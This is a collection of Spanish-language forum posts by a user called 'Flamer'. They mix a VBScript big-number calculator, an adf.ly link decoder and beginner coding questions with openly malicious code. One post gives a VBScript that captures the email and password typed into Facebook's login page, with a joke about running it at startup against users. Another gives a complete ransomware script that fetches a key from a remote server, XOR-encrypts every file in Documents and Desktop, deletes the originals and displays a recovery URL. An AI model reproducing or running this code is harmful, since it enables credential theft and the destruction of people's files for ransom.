bueno como todo esta dormido por aqui, asi que les dejo un código de un virus que me encontré en una memoria USB

http://www.mediafire.com/file/rcpso4iy9f9bn2t/virus_js.rar

A ver quien es el voluntario que lo destripe

Saludos Flamer y si no lo destripa nadie tendré que hacerlo yo

hola amigos por querer eliminar un virus de mi celular borre por accidente la pantalla de inicio de mi celular o para que me entiendan el menu.

solo puedo entrar en ajustes de configuración y a las opciones de tengo en las pestañas de arriba de la pantalla de mi celular pero las aplicaciones instaladas no.


soy usurio root y el modelo es un polaroid pspc505

saludos y mi duda es que apk tengo que instalar y de donde

ahora vengo con otro código una calculadora en Vbscript de numeros grandes
la idea me surgio al ver esta pagina: http://www.elguille.info/NET/dotnet/operarConNumerosGrandes1.htm

pero en algunas operaciones observe que no daba el resultado correcto así que hice la mía mejor

Nota: si ponen muy grandes tardara en hacer la operación

Aquí el code

Option Explicit
 
Dim num1, num2, n, m, x, op, r,v
 
num2 = inputbox("Introduce El Primer Numero")'"123654789"
num1 = inputbox("Introduce Segundo Numero")'"147852369"
 
ReDim n(Len(num1)), m(Len(num2))
 
For x = 1 To Len(num1)
   n(x) = CInt(Mid(num1, x, 1))
Next
 
For x = 1 To Len(num2)
   m(x) = CInt(Mid(num2, x, 1))
Next
 
op = InputBox("1- Sumar" & vbCrLf & "2- Restar" & vbCrLf & "3- Multiplicar" & vbCrLf & "4- Dividir")
 
Select Case op
   Case "1"
      r = sumar(n, m)
   Case "2"
      r = RestaroDividir(n, m, op)
   Case "3"
      v = mmi(num1,num2)
      if v = "+" then
	     r = multiplicar(n,m)
	  elseif v = "-" then
         r = multiplicar(m, n)
      else
	     r = multiplicar(n, m)
	  end if      
   Case "4"
      r = RestaroDividir(n, m, op)
End Select
MsgBox r
r = Replace(r, " ", "")
 
Function Dividir(n, m)
On Error Resume Next
   Dim num1, num2, pf, d, x, s, j, r, mk
 
   num1 = Replace(Join(n), " ", "")
   num2 = Replace(Join(m), " ", "")
 
   pf = UBound(m)
 
   d = Mid(num1, 1, pf)
 
   While pf <= UBound(n)  'pf
 
      Select Case mmi(d, num2)
         Case "+"
            x = "0"
            s = "0"
            ReDim md(Len(d))
            For j = 1 To Len(d)
               md(j) = Mid(d, j, 1)
            Next
            While mmi(s, d) = "-"
               x = CStr(CDbl(x) + 1)
 
               ReDim mx(Len(x))
               ReDim ms(Len(num2))
 
               For j = 1 To Len(num2)
                  ms(j) = Mid(num2, j, 1)
               Next
 
               For j = 1 To Len(x)
                  mx(j) = Mid(x, j, 1)
               Next
               s = Replace(multiplicar(ms, mx), " ", "")
            Wend
            If mmi(s, d) <> "1" Then
                x = CStr(CDbl(x) - 1)
            End If
 
               ReDim mx(Len(x))
 
               For j = 1 To Len(x)
                  mx(j) = Mid(x, j, 1)
               Next
 
               mk = Split(multiplicar(mx, m), " ")
 
               d = Replace(RestaroDividir(mk, md, "2"), " ", "")
               While Mid(d, 1, 1) = "0"
                  d = Mid(d, 2, Len(d))
               Wend
 
               r = r & x
 
              pf = pf + 1
              d = d & n(pf)
 
         Case "-"
            r = r & "0"
            pf = pf + 1
            d = d & n(pf)
         Case "1"
            r = r & "1"
            pf = pf + 1
            d = n(pf)
      End Select
   Wend
   While Mid(r, 1, 1) = "0"
      r = Mid(r, 2, Len(r))
   Wend
   Dividir = "Caben:-" & r & "----Sobran:-" & d
End Function
 
Function mmi(num1, num2)
   Dim x, r
 
   While Mid(num1, 1, 1) = "0"
      num1 = Mid(num1, 2, Len(num1))
   Wend
   While Mid(num2, 1, 1) = "0"
      num2 = Mid(num2, 2, Len(num2))
   Wend
 
   If Len(num1) > Len(num2) Then
      r = "+"
   ElseIf Len(num1) = Len(num2) Then
      For x = 1 To Len(num1)
         If CInt(Mid(num1, x, 1)) > CInt(Mid(num2, x, 1)) Then
            r = "+"
            Exit For
         ElseIf CInt(Mid(num1, x, 1)) < CInt(Mid(num2, x, 1)) Then
            r = "-"
            Exit For
         End If
      Next
   Else
      r = "-"
   End If
 
   If (x - 1) = Len(num1) Then
      mmi = "1"
   Else
      mmi = r
   End If
End Function
'-------------------------------------------------------------------------------------------------------------'
Function RestaroDividir(n, m, op)
   Dim lm, ln, r, x
 
   ln = UBound(n)
   lm = UBound(m)
 
   If ln > lm Then
      r = rd(n, m, op)
   ElseIf ln < lm Then
      r = rd(m, n, op)
   Else
      For x = 1 To UBound(n)
         If n(x) > m(x) Then
             r = rd(n, m, op)
             Exit For
         ElseIf n(x) < m(x) Then
             r = rd(m, n, op)
             Exit For
         End If
      Next
   End If
 
   If r = "" Then
      If op = "2" Then
         RestaroDividir = "0"
      Else
         RestaroDividir = "1"
      End If
   Else
      RestaroDividir = r
   End If
End Function
 
Function rd(n, m, op)
   Dim ln, lm, r
 
   If op = "2" Then
      ln = UBound(n)
      lm = UBound(m)
      r = Restar(ln, lm, n, m)
   Else
      r = Dividir(n, m)
   End If
   rd = r
End Function
'-------------------------------------------Funcion Multiplica---------------------------------------------------'
Function multiplicar(n, m)
   Dim x, y, r, c, s
 
   ReDim a(UBound(m))
 
   For x = UBound(a) To 1 Step -1
      r = Join(n)
      s = Split(r, " ")
      For y = 2 To CInt(m(x))
         r = sumar(n, s)
         s = Split(r, " ")
      Next
      a(x) = r & c
      c = c & " 0"
   Next
 
   s = Split(a(1), " ")
 
   For x = 2 To UBound(a)
      c = Split(a(x), " ")
      r = sumar(s, c)
      s = Split(r, " ")
   Next
   multiplicar = r
End Function
'---------------------------------------------Funcion Restar-------------------------------------------------------'
Function Restar(ln, lm, n, m)
   Dim x, r, a
 
   For x = ln To 1 Step -1
      If lm > 0 Then
         If CInt(n(x)) >= CInt(m(lm)) Then
            r = CStr(n(x) - m(lm)) & " " & r
         Else
            r = CStr(n(x) - m(lm) + 10) & " " & r
            For a = x - 1 To 1 Step -1
               If n(a) = 0 Then
                  n(a) = 9
               Else
                  n(a) = n(a) - 1
                  Exit For
               End If
            Next
         End If
      Else
         r = CStr(n(x)) & " " & r
      End If
      lm = lm - 1
   Next
   While Mid(r, 1, 1) = "0"
         r = Mid(r, 2, Len(r))
   Wend
   Restar = Trim(r)
End Function
'-----------------------------------------Funcion Sumar--------------------------------------------------------------------'
Function sumar(n, m)
   Dim lm, ln, r
 
   ln = UBound(n)
   lm = UBound(m)
 
   If ln >= lm Then
      r = s(ln, lm, n, m)
   Else
      r = s(lm, ln, m, n)
   End If
   sumar = r
End Function
 
Function s(ln, lm, n, m)
   Dim a, b, x, r
   a = 0
   For x = ln To 1 Step -1
      If lm > 0 Then
         a = CInt(n(x)) + CInt(m(lm)) + a
         If a > 9 Then
            b = CStr(a)
            r = Mid(b, 2, 1) & " " & r
            a = CInt(Mid(b, 1, 1))
         Else
            r = CStr(a) & " " & r
            a = 0
         End If
      Else
         a = CInt(n(x)) + a
         If a > 9 Then
            b = CStr(a)
            r = Mid(b, 2, 1) & " " & r
            a = CInt(Mid(b, 1, 1))
         Else
            r = CStr(a) & " " & r
            a = 0
         End If
      End If
      lm = lm - 1
   Next
   If a > 0 Then
      r = CStr(a) & " " & r
   End If
   s = " " & Trim(r)
End Function
 
 

Saludos Flamer y me dicen si tiene errores para corregirlos

hola amigos quiero crear un objecto InternetExplorer.Application en vbscript y quiero ejecutar este comando como si estubiera en la consola de chrome

alert("document.GetElementById.('elemento').href") 

saludos Flamer y solo quiero saber si se puede

Proyecto:   Ghost Killer  Adf.ly

         Autor:   Flamer

Referencias: https://foro.elhacker.net/net/c_adfly_killer_05-t455465.0.html;msg2080233

             Por:  Doddy

    Lenguaje:  VB:Net 2010     

Descripción: Basado en el programa de Doddy, este también decodifica los enlaces adf.ly pero con la diferencia de que este tiene un modo de trabajo invisible sin la necesidad de estar llamando al programa cada rato este a párese cuando un enlace adf.ly asido copiado al porta papeles con la decodificación ya realizada.

Public Class Form1
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Timer1.Interval = 3000
        Timer2.Interval = 1
        msg.Visible = False
    End Sub
 
 
    Function decodifica(l)
        On Error Resume Next
        Dim web As New Object
        Dim i, f, x As Integer
        Dim a, b, t, code As String
 
        Err.Number = 0
 
        web = CreateObject("Microsoft.XmlHttp")
        web.open("Get ", l, False)
        web.send()
        code = web.responseText
 
 
 
        i = InStr(code, "var ysmm")
        f = InStr(code, "var easyUrl") - i
        code = Mid(code, i, f)
        code = Replace(code, "var ysmm = '", "")
        code = Trim(Replace(code, "';", ""))
        a = ""
        b = ""
        If Err.Number <> 0 Then
            decodifica = "...:::Error En La Decodificacion:::..."
        Else
            For x = 1 To Len(code)
                t = (x - 1) Mod 2
                If t = 0 Then
                    a = a & Mid(code, x, 1)
                Else
                    b = Mid(code, x, 1) & b
                End If
            Next
 
 
            code = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(a & b))
            decodifica = code.Substring(2)
        End If
 
 
    End Function
 
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        If url.Text <> "" Then
            If InStr(url.Text, "adf.ly") Then
                Resul.Text = decodifica(url.Text)
            Else
                MsgBox("No Es Una url De adf.ly", , "Aviso De Error")
            End If
        Else
            MsgBox("El Campo Esta Vasio", , "Aviso De Error")
        End If
 
    End Sub
 
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Clipboard.SetData("UnicodeText", Resul.Text)
        msg.Visible = True
        Timer1.Start()
    End Sub
 
    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        msg.Visible = False
        Timer1.Stop()
    End Sub
 
    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Me.Visible = False
        Timer2.Start()
 
    End Sub
 
    Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
        Dim t As String
 
        t = CStr(Clipboard.GetData("UnicodeText"))
 
        If url.Text <> t Then
            If InStr(t, "adf.ly") Then
                url.Text = t
                Resul.Text = decodifica(t)
                If Resul.Text <> "...:::Error En La Decodificacion:::..." Then
                    Timer2.Stop()
                    Me.Visible = True
                End If
 
            End If
        End If
    End Sub
 
    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Resul.Text = ""
        url.Text = ""
    End Sub
End Class
 
 

descarga codigo fuente mas Exe: http://www.mediafire.com/file/v02ew6doec1y2dj/Ghost_Killer_adf.ly.rar

Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

set IE = CreateObject("InternetExplorer.Application")
 
IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p 
 
 

pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript

hola amigos tengo este codigo en vbscript

x = (255^11) 
x = x - ((fix(x/5767))*5767)
msgbox x
 

el resultado deberia de ser 3960 pero en ves de eso me imprime 0 en el msgbox

anterior mente usaba el comando mod en la segunda linea pero me resultaba error así que use esa formula

y si en la primera linea remplazo el 11 por el 7 si me imprime el resultado correcto, pero yo quiero manejar números mas grandes que el 7 y el 11, y mi pregunta es si se puede en vbscript

saludos flamer

Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja

Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware

bueno así que ni mas ni menos aquí el código

option explicit
dim shell,fso,document,f,password,desktop,id
 
set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")
 
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")
 
set f = fso.getfolder(document)
id = f.drive.serialnumber 
 
password = Contrasena(id)
 
cifrar(document)
cifrar(desktop)
 
msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado" 
 
function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
 
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id
 
  Contrasena = objhttp.responsetext
end function
 
function cifrar(ruta)
   dim carpeta,listfiles,listfolders,f
 
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
 
   for each f in listfiles
      archivo(f.path)
   next 
 
   for each f in listfolders
      cifrar(f.path)
   next   
end function
 
function archivo(path)
   dim file,largo,i,f,b,p,n
 
   set file = fso.getfile(path)
 
   largo=file.size 
 
   set f = file.OpenAsTextStream()
   redim bytes(largo)
 
   n = 1 
 
   for i=0 to largo - 1
      if n = len(password) then 
	     n = 1
	  else
         n = n + 1	  
      end if	  
	  p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
	  bytes(i) = chr(b)
   next 
 
   f.close  
 
   set f = fso.createtextfile(file.path & ".crypt") 
 
   for n = 0 to i - 1
      f.write(bytes(n))
   next
 
   f.close 
   file.delete
end function
 
 

saludos Flamer

hola navegando en internet encontré esto:

http://www.mysql-password.com/database/200308

alguien de ustedes ya la había visitado o sabían algo

saludos flamer

hola soy nuevo en este tema de python he reducido mi programa hasta llegar a tener una sola linea que es la que me marca el error esta

print ord("A")
 

hay me deberá de imprimir el 65 pero en ves de eso me marca error no en tiendo el por que

saludos flamer y podría ser la version o no funsina la el comando ord en windows, aclaro nunca había usado python